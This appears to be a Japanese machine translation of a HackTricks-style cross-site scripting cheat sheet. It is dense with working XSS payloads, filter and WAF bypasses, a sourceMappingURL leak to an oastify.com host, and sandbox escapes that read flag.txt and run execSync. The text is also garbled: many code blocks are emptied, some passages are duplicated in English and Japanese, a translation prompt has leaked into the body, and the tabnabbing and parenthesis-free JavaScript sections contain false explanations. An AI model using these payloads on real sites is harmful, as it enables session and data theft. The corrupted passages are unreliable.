# XSS(クロスサイトスクリプティング) / **バグバウンティのヒント**:ハッカーによって作成されたプレミアムなバグバウンティプラットフォームである**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報奨金を獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} ## 方法論 1. コントロールできる**任意の値**(_パラメータ_、_パス_、_ヘッダー_?、_クッキー_?)がHTMLに**反映**されているか、**JS**コードで使用されているかを確認します。 2. 反映/使用されている**コンテキスト**を見つけます。 3. 反映されている場合 1. 使用できる**シンボル**を確認し、それに応じてペイロードを準備します: 1. **生のHTML**で: 1. 新しいHTMLタグを作成できますか? 2. `javascript:`プロトコルをサポートするイベントや属性を使用できますか? 3. 保護をバイパスできますか? 4. HTMLコンテンツがクライアントサイドのJSエンジン(_AngularJS_、_VueJS_、_Mavo_など)によって解釈されている場合、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)を悪用できる場合があります。 5. JSコードを実行するHTMLタグを作成できない場合、[**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)を悪用できる場合があります。 2. **HTMLタグ**の内部で: 1. 生のHTMLコンテキストに戻ることはできますか? 2. JSコードを実行するために新しいイベント/属性を作成できますか? 3. トラップされている属性はJSの実行をサポートしていますか? 4. 保護をバイパスできますか? 3. **JavaScriptコード**の内部で: 1. ``**タグ、`.js`ファイルの内部、または**`javascript:`**プロトコルを使用した属性の内部に反映されます。 * **``**タグの間に反映されている場合、入力が引用符のいずれかの内部にある場合でも、``を注入してこのコンテキストからエスケープすることができます。これは、**ブラウザがまずHTMLタグを解析**し、その後コンテンツを解析するため、注入された``タグがHTMLコードの内部にあることに気づかないためです。 * JSの文字列の内部に反映されている場合で、前のトリックが機能しない場合は、文字列から**抜け出し**、コードを**実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません): * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * テンプレートリテラルの内部に反映されている場合、`${ ... }`構文を使用してJS式を**埋め込む**ことができます:`` var greetings = `Hello, ${alert(1)}` `` * **Unicodeエンコード**を使用して**有効なJavaScriptコード**を書くことができます: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` #### Javascriptのホイスティング Javascriptのホイスティングは、**使用された後に関数、変数、またはクラスを宣言する**機会を指します。 したがって、**未宣言のオブジェクトの後にJSコードをインジェクト**できるシナリオがある場合、それを宣言することで(エラーをスローする代わりに)構文を**修正**できます。 ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); // You can define it in your injection to execute JS //Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b '-alert(1)-''); function vulnerableFunction(a,b){return 1}; //Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1) test'); function vulnerableFunction(a,b){ return 1 };alert(1) ``` ```javascript // If a variable is not defined, you could define it in the injection // In the following example var a is not defined function myFunction(a,b){ return 1 }; myFunction(a, '') //Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b test'); var a = 1; alert(1); ``` ```javascript // If an undeclared class is used, you cannot declare it AFTER being used var variable = new unexploitableClass(); // But you can actually declare it as a function, being able to fix the syntax with something like: function unexploitableClass() { return 1; } alert(1); ``` ```javascript // Properties are not hoisted // So the following examples where the 'cookie' attribute doesn´t exist // cannot be fixed if you can only inject after that code: test.cookie('leo','INJECTION') test['cookie','injection'] ``` 詳細については、Javascriptのホイスティングについては次を参照してください:[https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios) ### Javascript関数 いくつかのウェブページは、**実行する関数の名前をパラメータとして受け入れる**エンドポイントを持っています。一般的な例として、`?callback=callbackFunc`のようなものがあります。 ユーザーから直接与えられたものが実行されようとしているかどうかを確認する良い方法は、パラメータの値を変更して(例えば 'Vulnerable'に変更して)、コンソールで次のようなエラーを探すことです: ![](<../../.gitbook/assets/image (651) (2).png>) 脆弱な場合、値を送信するだけで**アラートをトリガー**することができる可能性があります:**`?callback=alert(1)`**。ただし、これらのエンドポイントでは、文字、数字、ドット、アンダースコアのみを許可するようにコンテンツを**検証する**ことが非常に一般的です(**`[\w\._]`**)。 ただし、その制限があっても、いくつかのアクションを実行することは可能です。これは、有効な文字を使用してDOM内の任意の要素に**アクセス**できるためです: ![](<../../.gitbook/assets/image (662).png>) これに役立ついくつかの関数: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` あなたは直接**Javascriptの関数をトリガー**することも試すことができます:`obj.sales.delOrders`。 ただし、通常、指定された関数を実行するエンドポイントは、あまり興味深いDOMを持たないエンドポイントです。**同じオリジンの他のページ**には、より興味深いDOMがあり、より多くのアクションを実行できます。 したがって、異なるDOMでこの脆弱性を悪用するために、**Same Origin Method Execution (SOME)** の攻撃手法が開発されました: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM **JSコード**が、`location.href`のような**攻撃者によって制御されるデータ**を**安全ではない方法で**使用しています。攻撃者はこれを悪用して任意のJSコードを実行することができます。 {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **Universal XSS** この種のXSSは**どこにでも**見つけることができます。これらは単にWebアプリケーションのクライアントの攻撃に依存するのではなく、**任意の****コンテキスト**に依存します。この種の**任意のJavaScriptの実行**は、RCEを取得したり、クライアントやサーバーで**任意のファイル**を**読み取る**ことさえ悪用することができます。\ いくつかの**例**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/" %} [xss-to-rce-electron-desktop-apps](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/) {% endcontent-ref %} ## WAFバイパスエンコーディング画像 ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg) ## 生のHTML内に注入する 入力がHTMLページ内に**反映**される場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、**最初に** `<` を悪用して新しいタグを作成できるかどうかを確認する必要があります。単にその**文字**を**反映**させ、それが**HTMLエンコード**されるか、**削除**されるか、または**変更なしで反映**されるかを確認してください。**最後の場合にのみ、このケースを悪用することができます**。\ この場合、およびブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます: ```javascript ``` しかし、タグ/属性のブラックリスト/ホワイトリストが使用されている場合、作成できる**どのタグ**をブルートフォースする必要があります。\ 有効なタグが見つかったら、見つかった有効なタグ内の属性/イベントをブルートフォースして、どのようにコンテキストを攻撃できるかを確認する必要があります。 ### タグ/イベントのブルートフォース [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)にアクセスし、_**Copy tags to clipboard**_ をクリックします。次に、Burp Intruderを使用してすべてのタグを送信し、WAFによって悪意のあるタグとして検出されなかったかどうかを確認します。使用できるタグがわかったら、有効なタグを使用してすべてのイベントを**ブルートフォース**します(同じウェブページで_Copy events to clipboard_をクリックし、前と同じ手順を実行します)。 ### カスタムタグ 有効なHTMLタグが見つからなかった場合、カスタムタグを作成して`onfocus`属性でJSコードを実行することができます。XSSリクエストでは、URLの末尾に`#`を付けてページが**そのオブジェクトにフォーカス**し、コードを**実行**するようにする必要があります。 ``` /?search=#x ``` ### ブラックリスト回避 もしブラックリストが使用されている場合、いくつかの愚かなトリックを使って回避することができます。 ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` 注意してください。`URLエンコード + HTMLエンコード`を任意の順序で使用しても、**ペイロード**をエンコードすることはできませんが、**ペイロード内でそれらを混在させることはできます**。 **`javascript:`を使用した16進数と8進数のエンコード** `iframe`の`src`属性内(少なくとも)で、**HTMLタグを実行するために**、**16進数**と**8進数のエンコード**を使用することができます。 ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### リバースタブナビング Reverse tab nabbing(リバースタブナビング)は、ウェブアプリケーションの脆弱性であり、攻撃者が悪意のあるウェブページを作成し、被害者がそのページを閉じる際に、別のウェブサイトにリダイレクトされるという攻撃手法です。 この攻撃は、被害者が脆弱なウェブアプリケーションにログインしている場合に特に危険です。攻撃者は、被害者がログインしているウェブサイトのタブを開き、そのタブを閉じるときに別のウェブサイトにリダイレクトします。被害者は、自分がログアウトしたと思っているにもかかわらず、実際には攻撃者の制御下にあるウェブサイトにリダイレクトされてしまいます。 この攻撃手法を防ぐためには、ウェブアプリケーションの開発者が適切なセキュリティ対策を実装する必要があります。例えば、ウェブアプリケーションは、外部のウェブサイトにリダイレクトする前に、ユーザーに確認のメッセージを表示することが重要です。また、ウェブブラウザのセキュリティ設定も適切に構成することが重要です。 被害者としては、信頼できるウェブサイトにアクセスする際には、常にURLを確認することが重要です。また、ウェブブラウザのセキュリティ設定を適切に構成し、不審なウェブサイトからのリダイレクトを防ぐことも重要です。 リバースタブナビングは、攻撃者が被害者のセッションを乗っ取るための手段の一つです。ウェブアプリケーションの開発者とユーザーの両方がセキュリティに対して注意を払うことが重要です。 ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### "Unexploitable tags"(hidden input、link、canonical、meta)におけるXSS [**こちら**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags)から、**隠し入力を悪用することが可能になりました。** ```html
Newsletter popup
``` [**ここ**](https://portswigger.net/research/xss-in-hidden-input-fields)から:**隠し属性内でXSSペイロードを実行**することができます。ただし、**被害者**に**キーの組み合わせ**を押させる必要があります。Firefox Windows/Linuxでは、キーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定することもできます。以下はベクトルです: ```markup ``` **XSSペイロードは次のようになります:`" accesskey="x" onclick="alert(1)" x="`** ### ブラックリストの回避方法 このセクションでは、さまざまなエンコーディングを使用したトリックがすでに公開されています。次の場所で使用できる場所を学ぶために**戻ってください:** * **HTMLエンコーディング(HTMLタグ)** * **Unicodeエンコーディング(有効なJSコードになる場合):** `\u0061lert(1)` * **URLエンコーディング** * **16進数および8進数エンコーディング** * **データエンコーディング** **HTMLタグと属性の回避方法** [前のセクションのブラックリスト回避方法](./#blacklist-bypasses)を読んでください。 **JavaScriptコードの回避方法** [次のセクションのJavaScript回避ブラックリストテクニック](./#javascript-bypass-blacklists-techniques)を読んでください。 ### CSS-Gadgets 非常に小さなウェブの一部でXSSを見つけた場合(たとえば、フッターの小さなリンクにonmouseover要素が必要な場合)、要素が占めるスペースを変更してリンクが発火する可能性を最大化することができます。 たとえば、次のように要素にスタイリングを追加できます:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` ただし、WAFがスタイル属性をフィルタリングしている場合、CSSスタイリングガジェットを使用できます。たとえば、次のようなものを見つけた場合 > .test {display:block; color: blue; width: 100%\} および > \#someid {top: 0; font-family: Tahoma;} 今、リンクを修正して次の形式にします > \ このトリックは[https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)から取得されました。 ## JavaScriptコード内への注入 この場合、**入力**は`.js`ファイルのJSコード内、または``タグの間、またはJSコードを実行できるHTMLイベントの間、または`javascript:`プロトコルを受け入れる属性の間に**反映**されます。 ### \`内に挿入されている場合、簡単に\ ``` 注意してください、この例では**シングルクォートを閉じていません**が、それは必要ありません。なぜなら、**ブラウザはまずHTMLパースを実行**してスクリプトのブロックを含むページ要素を識別し、その後にJavaScriptパースを実行して埋め込まれたスクリプトを理解して実行するからです。 ### JSコード内部 もし`<>`がサニタイズされている場合でも、入力が**配置されている場所**で文字列を**エスケープ**し、任意のJSを**実行**することができます。JSの構文を**修正する**ことが重要です。なぜなら、エラーがある場合、JSコードは実行されないからです。 ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### テンプレートリテラル \`\` JSでは、シングルクォートやダブルクォート以外にも、**バックティック** **` `` `** を使用して**文字列**を構築することができます。これはテンプレートリテラルとして知られており、`${ ... }` 構文を使用して**埋め込まれたJS式**を実行することができます。\ したがって、バックティックを使用しているJS文字列内に入力が**反映**されている場合、`${ ... }` 構文を悪用して**任意のJSコード**を実行することができます。 これは以下のように悪用されることがあります: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop(){return loop} loop`````````````` ``````````````` ### エンコードされたコードの実行 In some cases, web applications may encode user input before displaying it on the page. This can be done to prevent cross-site scripting (XSS) attacks by neutralizing special characters. However, if the application does not properly decode the input before executing it, it can lead to a vulnerability known as encoded code execution. いくつかの場合、Webアプリケーションはページ上に表示する前にユーザーの入力をエンコードすることがあります。これは特殊文字を無効化することで、クロスサイトスクリプティング(XSS)攻撃を防ぐために行われることがあります。しかし、アプリケーションが入力を適切にデコードせずに実行する場合、エンコードされたコードの実行という脆弱性が発生する可能性があります。 To exploit this vulnerability, an attacker can inject encoded malicious code that will be executed by the application. The encoded code can bypass any input validation or filtering mechanisms that the application has in place. この脆弱性を悪用するために、攻撃者はエンコードされた悪意のあるコードを注入し、アプリケーションによって実行されるようにします。エンコードされたコードは、アプリケーションが実装している入力の検証やフィルタリングメカニズムをバイパスすることができます。 To identify if a web application is vulnerable to encoded code execution, you can try injecting encoded payloads and see if they are executed as intended. This can be done by encoding the payload using various encoding techniques such as URL encoding, HTML entity encoding, or JavaScript string encoding. Webアプリケーションがエンコードされたコードの実行に対して脆弱であるかどうかを特定するためには、エンコードされたペイロードを注入して、意図した通りに実行されるかどうかを確認することができます。これは、URLエンコーディング、HTMLエンティティエンコーディング、JavaScript文字列エンコーディングなど、さまざまなエンコーディング技術を使用してペイロードをエンコードすることによって行うことができます。 If the injected code is executed by the application and has an impact on the page, it indicates that the application is vulnerable to encoded code execution. 注入されたコードがアプリケーションによって実行され、ページに影響を与える場合、それはアプリケーションがエンコードされたコードの実行に対して脆弱であることを示しています。 To mitigate this vulnerability, it is important to ensure that user input is properly decoded before executing it. This can be done by using appropriate decoding functions or libraries provided by the programming language or framework being used. この脆弱性を軽減するためには、ユーザーの入力が適切にデコードされてから実行されることが重要です。これは、使用しているプログラミング言語やフレームワークが提供する適切なデコード関数やライブラリを使用することによって行うことができます。 ```markup ``` **コメント内のJavascript** Sometimes, developers may forget to properly sanitize user-generated content, including comments on a website. This can create an opportunity for an attacker to inject malicious JavaScript code into a comment, leading to a Cross-Site Scripting (XSS) vulnerability. To exploit this vulnerability, an attacker can simply add JavaScript code within the comment field. When the comment is displayed on the website, the JavaScript code will be executed by the victim's browser, allowing the attacker to perform various malicious actions. To prevent this type of attack, it is important for developers to implement proper input validation and output encoding techniques. Additionally, using Content Security Policy (CSP) headers can help mitigate the risk of XSS attacks by restricting the execution of JavaScript code from external sources. Remember, as a responsible hacker, it is crucial to always obtain proper authorization before attempting any penetration testing activities. ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **括弧なしのJavaScript** ```html

When writing JavaScript code, it is common to use parentheses to group expressions and control the order of operations. However, there are situations where you can write JavaScript code without using parentheses.

One such situation is when calling a function with no arguments. In this case, you can omit the parentheses after the function name. For example:

```javascript // With parentheses console.log("Hello World"); // Without parentheses console.log "Hello World"; ```

Another situation where you can omit parentheses is when using the `new` keyword to create an object. For example:

```javascript // With parentheses var obj = new Object(); // Without parentheses var obj = new Object; ```

It is important to note that while omitting parentheses can make your code more concise, it can also make it less readable and harder to understand. Therefore, it is generally recommended to use parentheses for clarity and consistency.

``` **括弧なしのJavaScript** ```html

JavaScriptのコードを書く際には、式をグループ化し、演算の順序を制御するために括弧を使用することが一般的です。しかし、括弧を使用せずにJavaScriptのコードを書くこともあります。

そのような状況の一つは、引数のない関数を呼び出す場合です。この場合、関数名の後の括弧を省略することができます。例えば:

```javascript // 括弧あり console.log("Hello World"); // 括弧なし console.log "Hello World"; ```

オブジェクトを作成するために`new`キーワードを使用する場合も、括弧を省略することができます。例えば:

```javascript // 括弧あり var obj = new Object(); // 括弧なし var obj = new Object; ```

括弧を省略することでコードが簡潔になる一方で、可読性が低下し理解が難しくなる可能性もあることに注意が必要です。そのため、一般的には明確さと一貫性のために括弧を使用することが推奨されています。

``` ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **任意の関数(alert)の呼び出し** ````javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ```` ## **DOMの脆弱性** 攻撃者が制御する**安全でないデータ**(例:`location.href`)を使用している**JSコード**があります。攻撃者はこれを悪意のあるJSコードを実行するために悪用することができます。\ **DOMの脆弱性の説明が長くなったため、[このページに移動しました](dom-xss.md)**: {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} そこでは、DOMの脆弱性が何であり、どのように引き起こされ、どのように悪用されるかについての詳細な説明が見つかります。\ また、[**DOM Clobbering攻撃についての説明**](dom-xss.md#dom-clobbering)も、**前述の投稿の最後に見つけることができます**。 ## その他のバイパス方法 ### 正規化されたUnicode サーバー(またはクライアント側)で**反映された値**が**Unicode正規化**されているかどうかをチェックし、この機能を悪用して保護をバイパスすることができます。[**ここに例があります**](../unicode-injection/#xss-cross-site-scripting)。 ### PHP FILTER\_VALIDATE\_EMAILフラグのバイパス ```javascript ">"@x.y ``` ### Ruby-On-Rails バイパス **RoRのマスアサインメント**により、引用符がHTMLに挿入され、引用符の制限がバイパスされ、タグ内に追加のフィールド(onfocus)が追加されることがあります。\ 例えば、以下のペイロードを送信すると([このレポート](https://hackerone.com/reports/709336)から)、 ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` 以下のように、"Key"と"Value"のペアがエコーバックされます: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` 次に、onfocus属性が挿入されます: ![](<../../.gitbook/assets/image (107).png>) XSSが発生します。 ### 特殊な組み合わせ ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) ``` ### 302レスポンス内のヘッダーインジェクションによるXSS もし、**302リダイレクトレスポンス内でヘッダーをインジェクション**できることがわかった場合、**ブラウザが任意のJavaScriptを実行する**ことを試してみることができます。これは**簡単なことではありません**。なぜなら、モダンなブラウザはHTTPレスポンスのステータスコードが302の場合、HTTPレスポンスボディを解釈しないからです。そのため、単にクロスサイトスクリプティングのペイロードを含めても無意味です。 [**このレポート**](https://www.gremwell.com/firefox-xss-302)と[**このレポート**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)では、Locationヘッダー内でいくつかのプロトコルをテストし、ブラウザがボディ内のXSSペイロードを検査および実行できるかどうかを確認する方法について読むことができます。\ 過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`. ### 文字、数字、ドットのみ もし、**JavaScriptが実行するコールバック**を指定できる場合、その文字は制限されます。[**この投稿のこのセクション**](./#javascript-function)を読んで、この動作を悪用する方法を見つけてください。 ### XSSに対応する有効な` ``` 以下は、ハッキング技術に関する本の内容です。以下の内容は、ファイルpentesting-web/xss-cross-site-scripting/README.mdからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を保持したまま、まったく同じマークダウンとHTMLの構文で返してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、pentesting、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。 --- * **module**(デフォルト、説明することはありません) * [**webbundle**](https://web.dev/web-bundles/):Web Bundlesは、複数のデータ(HTML、CSS、JSなど)を一緒に**`.wbn`**ファイルにパッケージ化できる機能です。 ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` * [**importmap**](https://github.com/WICG/import-maps)**:** インポート構文を改善するために使用されます。 ```html ``` この動作は、[**この解説記事**](https://github.com/zwade/yaca/tree/master/solution)で使用され、ライブラリをevalにリマップして悪用し、XSSをトリガーするために使用されました。 * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は、主にプリレンダリングによって引き起こされるいくつかの問題を解決するために使用されます。以下のように機能します: ```html ``` ### XSSに対してのWebコンテンツタイプ ([**こちら**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)から) 以下のコンテンツタイプは、すべてのブラウザでXSSを実行することができます: * text/html * application/xhtml+xml * application/xml * text/xml * image/svg+xml * text/plain (?? リストにはありませんが、CTFで見たことがあると思います) * application/rss+xml (オフ) * application/atom+xml (オフ) 他のブラウザでは、他の**`Content-Types`**を使用して任意のJSを実行することができます。詳細はこちらを参照してください:[https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xmlコンテンツタイプ ページがtext/xmlコンテンツタイプを返す場合、名前空間を指定して任意のJSを実行することができます: ```xml hello ``` ### 特別な置換パターン **`"some {{template}} data".replace("{{template}}", )`** のようなものが使用される場合、攻撃者は[**特別な文字列の置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement)を使用して、いくつかの保護をバイパスしようとすることができます:``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` 例えば、[**この解説**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、これを使用してスクリプト内のJSON文字列を**エスケープ**し、任意のコードを実行しました。 ### ChromeキャッシュからXSSへ {% content-ref url="chrome-cache-to-xss.md" %} [chrome-cache-to-xss.md](chrome-cache-to-xss.md) {% endcontent-ref %} ### XS Jailsの脱出 使用できる文字のセットが制限されている場合、XSJailの問題に対する他の有効な解決策を確認してください: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` もし実行される前にすべてが未定義である場合([**この解説記事**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)のように)、任意の信頼できないコードの実行を悪用するために「何もない」から有用なオブジェクトを生成することが可能です: * import()を使用すること ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` * 間接的に `require` にアクセスする [こちらによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)、モジュールはNode.jsによって以下のように関数でラップされます: ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code }); ``` したがって、そのモジュールから**別の関数を呼び出す**ことができる場合、その関数から`arguments.callee.caller.arguments[1]`を使用して**`require`**にアクセスすることが可能です: {% code overflow="wrap" %} ```javascript (function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})() ``` {% endcode %} 前の例と同様に、エラーハンドラを使用してモジュールのラッパーにアクセスし、`require`関数を取得することができます。 ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = ''.constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log('='.repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req('child_process').execSync('id').toString()) } } } trigger() ``` ### Obfuscation & Advanced Bypass * **同一ページ内での異なる難読化:** 